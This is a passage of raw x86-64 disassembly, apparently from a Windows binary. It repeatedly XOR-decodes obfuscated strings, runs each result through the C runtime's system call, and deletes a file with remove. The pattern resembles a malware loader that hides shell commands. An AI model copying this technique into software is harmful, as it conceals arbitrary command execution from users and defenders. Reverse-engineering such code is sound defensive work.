lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140062180
cmp r8d, 0x29
jge 0x1400622b1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140062280
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x6b81]
lea rcx, [rbp + 0x4c]
mov byte [rbp + 0x4c], al
call fcn.14007caf0
mov r10, rax
cmp byte [rax + 0x75], 0
je 0x140062431
mov r8d, esi
cmp r15d, 2
jl 0x1400623f3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x70
jl 0x140062300
cmp r8d, 0x76
jge 0x140062431
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x76
jl 0x140062400
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x71a5]
lea rcx, [rbp + 0x4d]
mov byte [rbp + 0x4d], al
call fcn.14007cb60
mov r10, rax
cmp byte [rax + 0x7b], 0
je 0x1400625b1
mov r8d, esi
cmp r15d, 2
jl 0x140062573
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140062480
cmp r8d, 0x7c
jge 0x1400625b1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x7c
jl 0x140062580
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9449]
lea rcx, [rbp + 0x4e]
mov byte [rbp + 0x4e], al
call fcn.14007cbd0
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140062736
mov r8d, esi
cmp r15d, 2
jl 0x1400626f0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x140062600
jmp 0x140062736
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x140062700
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x930b]
lea rcx, [rbp + 0x4f]
mov byte [rbp + 0x4f], al
call fcn.14007cc40
mov r10, rax
cmp byte [rax + 0x9e], 0
je 0x1400628b4
mov r8d, esi
cmp r15d, 2
jl 0x140062879
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140062780
cmp r8d, 0x9f
jge 0x1400628b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x9f
jl 0x140062880
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9fb3]
lea rcx, [rbp + 0x50]
mov byte [rbp + 0x50], al
call fcn.14007cce0
mov r10, rax
cmp byte [rax + 0xac], 0
je 0x140062a34
mov r8d, esi
cmp r15d, 2
jl 0x1400629f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa8
jl 0x140062900
cmp r8d, 0xad
jge 0x140062a34
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xad
jl 0x140062a00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7620]
lea rcx, [rbp + 0x51]
mov byte [rbp + 0x51], al
call fcn.14007cd70
mov r10, rax
cmp byte [rax + 0x80], 0
je 0x140062bb4
mov r8d, esi
cmp r15d, 2
jl 0x140062b79
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x80
jl 0x140062a80
cmp r8d, 0x81
jge 0x140062bb4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x81
jl 0x140062b80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7f49]
lea rcx, [rbp + 0x52]
mov byte [rbp + 0x52], al
call fcn.14007cde0
mov r10, rax
cmp byte [rax + 0x93], 0
je 0x140062d34
mov r8d, esi
cmp r15d, 2
jl 0x140062cf9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140062c00
cmp r8d, 0x94
jge 0x140062d34
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x94
jl 0x140062d00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7826]
lea rcx, [rbp + 0x53]
mov byte [rbp + 0x53], al
call fcn.14007ce60
mov r10, rax
cmp byte [rax + 0x83], 0
je 0x140062eb4
mov r8d, esi
cmp r15d, 2
jl 0x140062e79
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x80
jl 0x140062d80
cmp r8d, 0x84
jge 0x140062eb4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x84
jl 0x140062e80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x729d]
lea rcx, [rbp + 0x54]
mov byte [rbp + 0x54], al
call fcn.14007ced0
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x140063031
mov r8d, esi
cmp r15d, 2
jl 0x140062ff3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140062f00
cmp r8d, 0x7d
jge 0x140063031
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x7d
jl 0x140063000
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6d5a]
lea rcx, [rbp + 0x55]
mov byte [rbp + 0x55], al
call fcn.14007cf40
mov r10, rax
cmp byte [rax + 0x78], 0
je 0x1400631b1
mov r8d, esi
cmp r15d, 2
jl 0x140063173
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140063080
cmp r8d, 0x79
jge 0x1400631b1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x79
jl 0x140063180
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7930]
lea rcx, [rbp + 0x56]
mov byte [rbp + 0x56], al
call fcn.14007cfb0
mov r10, rax
cmp byte [rax + 0x87], 0
je 0x140063336
mov r8d, esi
cmp r15d, 2
jl 0x1400632f0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x88
jl 0x140063200
jmp 0x140063336
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x88
jl 0x140063300
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7d90]
lea rcx, [rbp + 0x57]
mov byte [rbp + 0x57], al
call fcn.14007d020
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x1400634b4
mov r8d, esi
cmp r15d, 2
jl 0x140063479
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140063380
cmp r8d, 0x93
jge 0x1400634b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
